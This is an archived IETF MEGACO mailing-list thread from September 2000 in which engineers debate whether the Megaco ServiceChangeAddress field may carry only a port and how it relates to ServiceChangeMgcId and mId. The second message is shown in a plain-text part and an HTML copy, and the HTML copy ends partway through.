Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA12196; Wed, 6 Sep 2000 14:16:26 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA26801; Wed, 6 Sep 2000 14:16:26 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XH4A5>; Wed, 6 Sep 2000 14:16:27 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678816@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 6 Sep 2000 14:16:19 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>,
              Flemming Andreasen <fandreas@cisco.com>,
              Bharat Kaul <bharat@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

One more thing:
>The ABNF syntax of ServiceChangeAddress is VALUE, which permits
>designation of a port only within a quoted string.  The
>difference between this and the ASN.1 syntax is what started this
>whole thread, but is irrelevant because the functionality is
>still available.

Value allows 1*(SafeChar), which would permit a port number (no
punctuation).  One system did exactly that at the Interop event.  Either we
have to allow that, or explicitly disallow it.

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 15:58:07 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21951
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 15:58:02 -0400 (EDT)
Received: from standards (47.234.32.16:2279) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90DF3@standards.nortelnetworks.com>; Wed, 6 Sep 2000 15:42:29 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20931 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 15:42:29 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90DF2@standards.nortelnetworks.com>; Wed, 6 Sep 2000 15:42:28
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id MAA23150; Wed, 6 Sep 2000 12:55:16 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF678815@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: multipart/alternative;
              boundary="------------993D4CEA120F523706A10DEA"
Message-ID:  <39B6A22E.9DE4A6B6@cisco.com>
Date:         Wed, 6 Sep 2000 15:59:42 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
X-cc:         Tom-PT Taylor <taylor@nortelnetworks.com>,
              Bharat Kaul <bharat@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------993D4CEA120F523706A10DEA
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



"Rosen, Brian" wrote:

>
>
>      OK, I'd say we have consensus on the following:
>
>      (1) As oft repeated, the mId designates a peer in a control
>      session.  It does not change even if the addresses used in
>      the session change.  Different port addresses could be used
>      to designate different virtual MGs, but this is a local
>      implementation issue.
>
>      I'm assuming here that you mean mId, the thing that goes in
>      every message, and that there is no arbitrary changing of it
>      - changes get signalled in ServiceChange.  mId serves to
>      identify which association this message refers to.  Given
>      those caveats, I agree.
>

I agree too (but with some assumptions as to when and how that address
can change)

>
>
>      (2) ServiceChangeAddress can be used to change the address
>      to which the peer sends requests within the existing control
>      session.  The ABNF syntax of ServiceChangeAddress is VALUE,
>      which permits designation of a port only within a quoted
>      string.  The difference between this and the ASN.1 syntax is
>      what started this whole thread, but is irrelevant because
>      the functionality is still available.  There is the
>      legitimate question of whether the ServiceChangeAddress
>      functionality is needed.  I'm not sure I have consensus to
>      deprecate use of ServiceChangeAddress.
>
>      I'd like to see if we could develop a consensus, but I can
>      live with it.
>
I say we dump it. If that's unacceptable, we restrict it to port numbers
only (for IP transport) - no IP addresses here please.

>
>
>      I'm still concerned about the difficulty of changing
>      address, or port, with TCP transport.  We need at least a
>      note of caution in the Implementers Guide.
>
>      (3) ServiceChangeMGgcId is used to redirect the control
>      session.  The ABNF type of ServiceChangeMgcId is MId, which
>      presumably is why MId is so carefully developed as an
>      address.
>
>      Yes!
>
Agree

>
>
>      There is an open issue regarding TCP.  That is, is everyone
>      prepared to accept the restriction Bharat wants to place on
>      TCP, to the effect that the MG is never a listener?
>
>      Yes!
>

Given the current protocol specification/operation that seems
reasonable. If we were to accept ServiceChange initiated from the MGC,
it would obviously change.

-- Flemming


>
>
>      Brian
>
>      > -----Original Message-----
>      > From: Flemming Andreasen [mailto:fandreas@cisco.com]
>      > Sent: Wednesday, September 06, 2000 10:39 AM
>      > To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH]; Bharat
>      Kaul
>      > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
>      > Subject: Re: Supplying only a port on a
>      ServiceChangeAddress
>      >
>      >
>      > So do we have any consensus resolution on this issue ?
>      >
>      > -- Flemming
>      >
>      > "Rosen, Brian" wrote:
>      >
>      > > Yeah, the mId started life as the thing in the header
>      that let an
>      > > MGC know which entity it was talking to.  It's always
>      been an
>      > > address though - desirable as an FQDN and acceptable to
>      be a hard
>      > > address.
>      > >
>      > > The intention of ServiceChangeMid was to be the referral
>
>      > address for an
>      > > association that was not acceptable to the MGC.
>      > ServiceChangeAddress used
>      > > to be port, and it was just for changing port numbers,
>      not
>      > addresses.  We
>      > > went downhill (IMO) from there.
>      > >
>      > > I'm with Flemming, one thing is all we need, but we are
>      > stuck with 2 for
>      > > now.
>      > >
>      > > Brian
>      > >
>      > > > -----Original Message-----
>      > > > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
>
>      > > > Sent: Tuesday, September 05, 2000 3:16 PM
>      > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>      > > > Subject: Re: Supplying only a port on a
>      ServiceChangeAddress
>      > > >
>      > > >
>      > > > I think we agree that MId is just an identifier of a
>      peer
>      > in a control
>      > > > session.  I still ask myself why we defined it to be
>      an
>      > > > address rather than
>      > > > an arbitrary string.  I suspect we changed intentions
>      since
>      > > > it first showed
>      > > > up.
>      > > >
>      > > > > -----Original Message-----
>      > > > > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
>
>      > > > > Sent: Tuesday, September 05, 2000 3:12 PM
>      > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>      > > > > Subject: Re: Supplying only a port on a
>      ServiceChangeAddress
>      > > > >
>      > > > >
>      > > > > Bharat Kaul wrote:
>      > > > >
>      > > > > > Hi Flemming, Brian and List,
>      > > > > >
>      > > > > >   ServiceChangeMGCId should be kept for contacting
>      a new
>      > > > > MGC or rather
>      > > > > > establishing new control Session.
>      > > > > >
>      > > > > > ServiceChangeAddress is for redirection within a
>      MGC e.g.
>      > > > > MG contacts MGC at
>      > > > > > a default port and based on some policy MGC wants
>      to assign
>      > > > > MG to a specific
>      > > > > > port, it should send ServiceChangeAddress
>      specifying the
>      > > > > port.These two
>      > > > > > semantics seem clear and fair enough.
>      > > > >
>      > > > > I quite frankly don't understand the need for having
>      port as
>      > > > > an identifier and
>      > > > > then being able to specify another port to override
>      it, while
>      > > > > keeping the
>      > > > > identifier port the same.
>      > > > >
>      > > > >
>      > > > > >
>      > > > > >
>      > > > > > Port in MID should be just a tool to identify an
>      entity
>      > > > > uniquely, with one
>      > > > > > requirement that MID for a control session is
>      consistent
>      > > > between two
>      > > > > > entities.
>      > > > >
>      > > > > In that case it should be called something different
>      than a
>      > > > > port, or at least be
>      > > > > treated as something different.
>      > > > >
>      > > > > -- Flemming
>      > > > >
>      > > > >
>      > > > > >
>      > > > > >
>      > > > > > - Bharat
>      > > > > >
>      > > > > > -----Original Message-----
>      > > > > > From: Flemming Andreasen
>      [mailto:fandreas@CISCO.COM]
>      > > > > > Sent: Tuesday, September 05, 2000 8:29 AM
>      > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>      > > > > > Subject: Re: Supplying only a port on a
>      ServiceChangeAddress
>      > > > > >
>      > > > > > Let's take a step back here and ask ourselves what
>      we are
>      > > > > trying to achieve:
>      > > > > >
>      > > > > > 1. We have a need to identify the entity we wish
>      to
>      > > > communicate with
>      > > > > > 2. We have a need to communicate with that entity.
>
>      > > > > >
>      > > > > > This is a classical naming issue that doesn't need
>      to
>      > > > become overly
>      > > > > > complicated. In order to get from the name in 1 to
>      the
>      > > > > address (or route) in
>      > > > > > 2, you need to perform name resolution in the
>      cases where
>      > > > > the name itself is
>      > > > > > not an address. For domain names, this name
>      resolution is
>      > > > > achieved by DNS,
>      > > > > > for IP-addresses, it should normally be a NOP. By
>      having both
>      > > > > > ServiceChangeMGGId and ServiceChangeAddress, you
>      are
>      > > > > effectively providing
>      > > > > > an alternate name resolution mechanism which
>      overrides DNS
>      > > > > and allows one
>      > > > > > IP-address to map to another. We should not be
>      doing that,
>      > > > > and I also note
>      > > > > > that this was probably not the authors' intent,
>      since
>      > > > > ServiceChangeAddress
>      > > > > > and ServiceChangeMGCId are not both allowed in a
>      > single command.
>      > > > > >
>      > > > > > That still leaves open the question of exactly
>      what
>      > > > > ServiceChangeAddress
>      > > > > > then is, and I believe Brian answered that earlier
>      with his
>      > > > > two proposals.
>      > > > > > In a perfect world, I would prefer getting rid of
>      > > > > ServiceChangeAddress, but
>      > > > > > we may be beyond that. Does it make sense to allow
>      just a
>      > > > > port number then ?
>      > > > > > Considering that we already allow for port in mId,
>      port is
>      > > > > part of the name
>      > > > > > and for the same reasons as we shouldn't map one
>      IP-address
>      > > > > to another, we
>      > > > > > shouldn't map one port to another either IMO. If
>      the MGC
>      > > > > (or MG) wants the
>      > > > > > other party to talk to it on another port, it
>      simply sends
>      > > > > back another
>      > > > > > ServiceChangeMGCId with that port number in it.
>      > > > > >
>      > > > > > -- Flemming
>      > > > > >
>      > > > > > "Rosen, Brian" wrote:
>      > > > > >
>      > > > > > > It depends on what you want to have happen.
>      > > > > > >
>      > > > > > > If you want the MG, on receipt of a reply with a
>
>      > > > > ServiceChangeAddress,
>      > > > > > > to tear down it's current transport connection,
>      create
>      > > > a new one,
>      > > > > > > and stand by for messages from the MGC, then I
>      suppose
>      > > > > you would be
>      > > > > > > correct.
>      > > > > > >
>      > > > > > > If it was TCP (and I guess SCTP), this is pretty
>      weird,
>      > > > > because the
>      > > > > > > MG established a full duplex connection, but the
>
>      > next message is
>      > > > > > > almost certainly from the MGC.  The MGC is going
>      to have
>      > > > > to watch for
>      > > > > > > this carefully, and not send messages until the
>      new
>      > > > channel is up.
>      > > > > > >
>      > > > > > > Or, the MGC can just use ServiceChangeMid.  The
>      MG will
>      > > > respond by
>      > > > > > > tearing down the transport, establishing a new
>      one,
>      > and sending
>      > > > > > > a new ServiceChange.  The MGC "fires and
>      forgets" -- the new
>      > > > > > > ServiceChange, at the "new" address, looks like
>      a
>      > > > > complete new start.
>      > > > > > >
>      > > > > > > Brian
>      > > > > > >
>      > > > > > > -----Original Message-----
>      > > > > > > From: Christian Groves
>      > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>      > > > > > > Sent: 9/3/00 7:38 PM
>      > > > > > > Subject: Re: Supplying only a port on a
>      ServiceChangeAddress
>      > > > > > >
>      > > > > > > G'Day Brian and Flemming,
>      > > > > > >
>      > > > > > > I saw that the difference between when you use
>      > > > > ServiceChangeAddress and
>      > > > > > > ServiceChangeMid was that the
>      ServiceChangeAddress was
>      > > > > used when talking
>      > > > > > > to an already contacted physical MGC. The
>      > > > > ServiceChangeMid was used to
>      > > > > > > contact a physically seperate MGC. So I don't
>      see
>      > the need of
>      > > > > > > disallowing anything but the port in IP as the
>      MGC may
>      > > > > have a range of
>      > > > > > > addresses.
>      > > > > > >
>      > > > > > > Cheers, Christian
>      > > > > > >
>      > > > > > > "Rosen, Brian" wrote:
>      > > > > > > >
>      > > > > > > > I thought you might say that, I've been
>      thinking about it
>      > > > > > > > since I sent the message.
>      > > > > > > >
>      > > > > > > > Posing the question slightly differently, if
>      the
>      > > > > ServiceChangeAddress
>      > > > > > > > can do what ServiceChangeMid can do, so why
>      have two
>      > > > mechanisms?
>      > > > > > > > The only difference would be the MGs actions.
>      If you used
>      > > > > > > > ServiceChangeAddress,
>      > > > > > > > the MG would not send a new ServiceChange
>      command to
>      > > > > the new address.
>      > > > > > > > If you used ServiceChangeMid, it would.  The
>      end result
>      > > > > would be the
>      > > > > > > same.
>      > > > > > > >
>      > > > > > > > We can:
>      > > > > > > >         Explicitly disallow
>      ServiceChangeAddress from
>      > > > > being used to
>      > > > > > > >                 change anything but IP Port
>      when
>      > used with IP
>      > > > > > > >         Get rid of one of the two of them
>      > > > > > > >
>      > > > > > > > I favor the former, as that is easiest, is
>      most
>      > > > consistent with
>      > > > > > > > history, and makes the most sense to me.  I'll
>
>      > note that what
>      > > > > > > > we call ServiceChangeAddress used to be
>      "port".  It got
>      > > > > > > > changed when we realized "port" wouldn't make
>      > sense if it was
>      > > > > > > > not an IP transport.
>      > > > > > > >
>      > > > > > > > Brian
>      > > > > > > >
>      > > > > > > > > -----Original Message-----
>      > > > > > > > > From: Flemming Andreasen
>      [mailto:fandreas@cisco.com]
>      > > > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
>      > > > > > > > > To: Rosen, Brian
>      > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
>      > > > > > > > > Subject: Re: Supplying only a port on a
>      > ServiceChangeAddress
>      > > > > > > > >
>      > > > > > > > >
>      > > > > > > > >
>      > > > > > > > >
>      > > > > > > > > "Rosen, Brian" wrote:
>      > > > > > > > >
>      > > > > > > > > > I think the issue is that you can have the
>      same MGC
>      > > > > have multiple
>      > > > > > > > > > IP addresses.  You accept the association,
>      but
>      > > > > change the address.
>      > > > > > > > > > Say, a pool of servers appearing to be one
>      MGC.
>      > > > > > > > >
>      > > > > > > > > I'm not sure I fully understand what an
>      > association is then.
>      > > > > > > > > What's the
>      > > > > > > > > difference/relationship between the
>      association
>      > > > > address and the
>      > > > > > > > > ServiceChangeMgcId (which may itself contain
>      an
>      > address or
>      > > > > > > indirectly
>      > > > > > > > > refer to a number of addresses through DNS)
>      ?
>      > > > > > > > >
>      > > > > > > > > -- Flemming
>      > > > > > > > >
>      > > > > > > > >
>      > > > > > > > > >
>      > > > > > > > > >
>      > > > > > > > > > Brian
>      > > > > > > > > >
>      > > > > > > > > > > -----Original Message-----
>      > > > > > > > > > > From: Flemming Andreasen
>      [mailto:fandreas@cisco.com]
>      > > > > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
>      > > > > > > > > > > To: Rosen, Brian
>      > > > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
>      > > > > > > > > > > Subject: Re: Supplying only a port on a
>      > > > > ServiceChangeAddress
>      > > > > > > > > > >
>      > > > > > > > > > >
>      > > > > > > > > > >
>      > > > > > > > > > >
>      > > > > > > > > > > "Rosen, Brian" wrote:
>      > > > > > > > > > >
>      > > > > > > > > > > > Suppose all you want to specify in a
>      > > > > ServiceChangeAddress
>      > > > > > > > > > > is a port number
>      > > > > > > > > > > > that is, the IP address doesn't
>      change, but the
>      > > > > port does.
>      > > > > > > > > > > >
>      > > > > > > > > > > > The ABNF sez:
>      > > > > > > > > > > > serviceChangeAddress =
>      > > > > ServiceChangeAddressToken EQUAL VALUE
>      > > > > > > > > > > >
>      > > > > > > > > > > > This is because it could be IP, ATM,
>      FR, MPLS....
>      > > > > > > > > > > >
>      > > > > > > > > > > > The example shows just a port number.
>      > > > > > > > > > >
>      > > > > > > > > > > Actually, I thought that's all that
>      would be
>      > > > > allowed in the
>      > > > > > > > > > > case of IP. If
>      > > > > > > > > > > not, how can it be within the "context
>      of the
>      > > > association
>      > > > > > > > > > > currently being
>      > > > > > > > > > > negotiated", and how would it then
>      relate to
>      > > > > ServiceChangeMgcId
>      > > > > > > ?
>      > > > > > > > > > >
>      > > > > > > > > > > -- Flemming
>      > > > > > > > > > >
>      > > > > > > > > > > >
>      > > > > > > > > > > >
>      > > > > > > > > > > > Should that be legal?  Should you have
>      to
>      > > > specify the IP
>      > > > > > > address
>      > > > > > > > > > > > as x.x.x.x:p?
>      > > > > > > > > > > >
>      > > > > > > > > > > > Brian
>      > > > > > > > > > >
>      > > > > > > > > > > --
>      > > > > > > > > > > Flemming Andreasen
>      > > > > > > > > > > Cisco Systems
>      > > > > > > > > > >
>      > > > > > > > > > >
>      > > > > > > > >
>      > > > > > > > > --
>      > > > > > > > > Flemming Andreasen
>      > > > > > > > > Cisco Systems
>      > > > > > > > >
>      > > > > > > > >
>      > > > > >
>      > > > > > --
>      > > > > > Flemming Andreasen
>      > > > > > Cisco Systems
>      > > > >
>      > > > > --
>      > > > > Flemming Andreasen
>      > > > > Cisco Systems
>      > > > >
>      > > >
>      >
>      > --
>      > Flemming Andreasen
>      > Cisco Systems
>      >
>      >
>      >
>
--
Flemming Andreasen
Cisco Systems


--------------993D4CEA120F523706A10DEA
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<p>"Rosen, Brian" wrote:
<blockquote TYPE=CITE>&nbsp;
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px"><font size=-1>OK,
I'd say we have consensus on the following:</font>
<p><font size=-1>(1) As oft repeated, the mId designates a peer in a control
session.&nbsp; It does not change even if the addresses used in the session
change.&nbsp; Different port addresses could be used to designate different
virtual MGs, but this is a local implementation issue.</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>I'm
assuming here that you mean mId, the thing that goes in every message,
and that there is no arbitrary changing of it - changes get signalled in
ServiceChange.&nbsp; mId serves to identify which association this message
refers to.&nbsp; Given those caveats</span><span
  class=730190518-06092000>,
I agree.&nbsp;</font></font></font></span></blockquote>
</blockquote>

<p><br>I agree too (but with some assumptions as to when and how that address
can change)
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px"><font face="Arial"><font color="#0000FF"><font size=-1></font></font></font>&nbsp;
<p><font size=-1>(2) ServiceChangeAddress can be used to change the address
to which the peer sends requests within the existing control session.&nbsp;
The ABNF syntax of ServiceChangeAddress is VALUE, which permits designation
of a port only within a quoted string.&nbsp; The difference between this
and the ASN.1 syntax is what started this whole thread, but is irrelevant
because the functionality is still available.&nbsp; There is the legitimate
question of whether the ServiceChangeAddress functionality is needed.&nbsp;
I'm not sure I have consensus to deprecate use of ServiceChangeAddress.</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>I'd
like to see if we could develop a consensus, but I can live with it.</font></font></font></span></blockquote>
</blockquote>
I say we dump it. If that's unacceptable, we restrict it to port numbers
only (for IP transport) - no IP addresses here please.
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px"><font face="Arial"><font color="#0000FF"><font size=-1></font></font></font>&nbsp;
<p><span class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>I'm
still concerned about the difficulty of changing address, or port, with
TCP transport.&nbsp; We need at least a note of caution in the Implementers
Guide.</font></font></font></span>
<p><font size=-1>(3) ServiceChangeMGgcId is used to redirect the control
session.&nbsp; The ABNF type of ServiceChangeMgcId is MId, which presumably
is why MId is so carefully developed as an address.</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>Yes!&nbsp;</font></font></font></span></blockquote>
</blockquote>
Agree
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px"><font face="Arial"><font color="#0000FF"><font size=-1></font></font></font>&nbsp;
<p><font size=-1>There is an open issue regarding TCP.&nbsp; That is, is
everyone prepared to accept the restriction Bharat wants to place on TCP,
to the effect that the MG is never a listener?</font><span class=730190518-06092000></span>
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>Yes!</font></font></font></span></blockquote>
</blockquote>

<p><br>Given the current protocol specification/operation that seems reasonable.
If we were to accept ServiceChange initiated from the MGC, it would obviously
change.
<p>-- Flemming
<br>&nbsp;
<blockquote TYPE=CITE>
<blockquote
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px"><font face="Arial"><font color="#0000FF"><font size=-1></font></font></font>&nbsp;
<p><span
  class=730190518-06092000><font face="Arial"><font color="#0000FF"><font size=-1>Brian&nbsp;</font></font></font></span>
<p><font size=-1>> -----Original Message-----</font>
<br><font size=-1>> From: Flemming Andreasen [<a href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</a>]</font>
<br><font size=-1>> Sent: Wednesday, September 06, 2000 10:39 AM</font>
<br><font size=-1>> To: Rosen, Brian; Taylor, Tom-PT [NORSE:B901:EXCH];
Bharat Kaul</font>
<br><font size=-1>> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>> So do we have any consensus resolution on this issue
?</font>
<br><font size=-1>></font>
<br><font size=-1>> -- Flemming</font>
<br><font size=-1>></font>
<br><font size=-1>> "Rosen, Brian" wrote:</font>
<br><font size=-1>></font>
<br><font size=-1>> > Yeah, the mId started life as the thing in the header
that let an</font>
<br><font size=-1>> > MGC know which entity it was talking to.&nbsp; It's
always been an</font>
<br><font size=-1>> > address though - desirable as an FQDN and acceptable
to be a hard</font>
<br><font size=-1>> > address.</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > The intention of ServiceChangeMid was to be the referral</font>
<br><font size=-1>> address for an</font>
<br><font size=-1>> > association that was not acceptable to the MGC.</font>
<br><font size=-1>> ServiceChangeAddress used</font>
<br><font size=-1>> > to be port, and it was just for changing port numbers,
not</font>
<br><font size=-1>> addresses.&nbsp; We</font>
<br><font size=-1>> > went downhill (IMO) from there.</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > I'm with Flemming, one thing is all we need, but
we are</font>
<br><font size=-1>> stuck with 2 for</font>
<br><font size=-1>> > now.</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > Brian</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > > -----Original Message-----</font>
<br><font size=-1>> > > From: Tom-PT Taylor [<a href="mailto:taylor@NORTELNETWORKS.COM">mailto:taylor@NORTELNETWORKS.COM</a>]</font>
<br><font size=-1>> > > Sent: Tuesday, September 05, 2000 3:16 PM</font>
<br><font size=-1>> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> > > Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>> > ></font>
<br><font size=-1>> > ></font>
<br><font size=-1>> > > I think we agree that MId is just an identifier
of a peer</font>
<br><font size=-1>> in a control</font>
<br><font size=-1>> > > session.&nbsp; I still ask myself why we defined
it to be an</font>
<br><font size=-1>> > > address rather than</font>
<br><font size=-1>> > > an arbitrary string.&nbsp; I suspect we changed
intentions since</font>
<br><font size=-1>> > > it first showed</font>
<br><font size=-1>> > > up.</font>
<br><font size=-1>> > ></font>
<br><font size=-1>> > > > -----Original Message-----</font>
<br><font size=-1>> > > > From: Flemming Andreasen [<a href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</a>]</font>
<br><font size=-1>> > > > Sent: Tuesday, September 05, 2000 3:12 PM</font>
<br><font size=-1>> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > Bharat Kaul wrote:</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > > Hi Flemming, Brian and List,</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > >&nbsp;&nbsp; ServiceChangeMGCId should be kept
for contacting a new</font>
<br><font size=-1>> > > > MGC or rather</font>
<br><font size=-1>> > > > > establishing new control Session.</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > ServiceChangeAddress is for redirection within
a MGC e.g.</font>
<br><font size=-1>> > > > MG contacts MGC at</font>
<br><font size=-1>> > > > > a default port and based on some policy MGC
wants to assign</font>
<br><font size=-1>> > > > MG to a specific</font>
<br><font size=-1>> > > > > port, it should send ServiceChangeAddress specifying
the</font>
<br><font size=-1>> > > > port.These two</font>
<br><font size=-1>> > > > > semantics seem clear and fair enough.</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > I quite frankly don't understand the need for
having port as</font>
<br><font size=-1>> > > > an identifier and</font>
<br><font size=-1>> > > > then being able to specify another port to override
it, while</font>
<br><font size=-1>> > > > keeping the</font>
<br><font size=-1>> > > > identifier port the same.</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > Port in MID should be just a tool to identify
an entity</font>
<br><font size=-1>> > > > uniquely, with one</font>
<br><font size=-1>> > > > > requirement that MID for a control session
is consistent</font>
<br><font size=-1>> > > between two</font>
<br><font size=-1>> > > > > entities.</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > In that case it should be called something different
than a</font>
<br><font size=-1>> > > > port, or at least be</font>
<br><font size=-1>> > > > treated as something different.</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > -- Flemming</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > - Bharat</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > -----Original Message-----</font>
<br><font size=-1>> > > > > From: Flemming Andreasen [<a href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</a>]</font>
<br><font size=-1>> > > > > Sent: Tuesday, September 05, 2000 8:29 AM</font>
<br><font size=-1>> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > Let's take a step back here and ask ourselves
what we are</font>
<br><font size=-1>> > > > trying to achieve:</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > 1. We have a need to identify the entity we
wish to</font>
<br><font size=-1>> > > communicate with</font>
<br><font size=-1>> > > > > 2. We have a need to communicate with that
entity.</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > This is a classical naming issue that doesn't
need to</font>
<br><font size=-1>> > > become overly</font>
<br><font size=-1>> > > > > complicated. In order to get from the name
in 1 to the</font>
<br><font size=-1>> > > > address (or route) in</font>
<br><font size=-1>> > > > > 2, you need to perform name resolution in the
cases where</font>
<br><font size=-1>> > > > the name itself is</font>
<br><font size=-1>> > > > > not an address. For domain names, this name
resolution is</font>
<br><font size=-1>> > > > achieved by DNS,</font>
<br><font size=-1>> > > > > for IP-addresses, it should normally be a NOP.
By having both</font>
<br><font size=-1>> > > > > ServiceChangeMGGId and ServiceChangeAddress,
you are</font>
<br><font size=-1>> > > > effectively providing</font>
<br><font size=-1>> > > > > an alternate name resolution mechanism which
overrides DNS</font>
<br><font size=-1>> > > > and allows one</font>
<br><font size=-1>> > > > > IP-address to map to another. We should not
be doing that,</font>
<br><font size=-1>> > > > and I also note</font>
<br><font size=-1>> > > > > that this was probably not the authors' intent,
since</font>
<br><font size=-1>> > > > ServiceChangeAddress</font>
<br><font size=-1>> > > > > and ServiceChangeMGCId are not both allowed
in a</font>
<br><font size=-1>> single command.</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > That still leaves open the question of exactly
what</font>
<br><font size=-1>> > > > ServiceChangeAddress</font>
<br><font size=-1>> > > > > then is, and I believe Brian answered that
earlier with his</font>
<br><font size=-1>> > > > two proposals.</font>
<br><font size=-1>> > > > > In a perfect world, I would prefer getting
rid of</font>
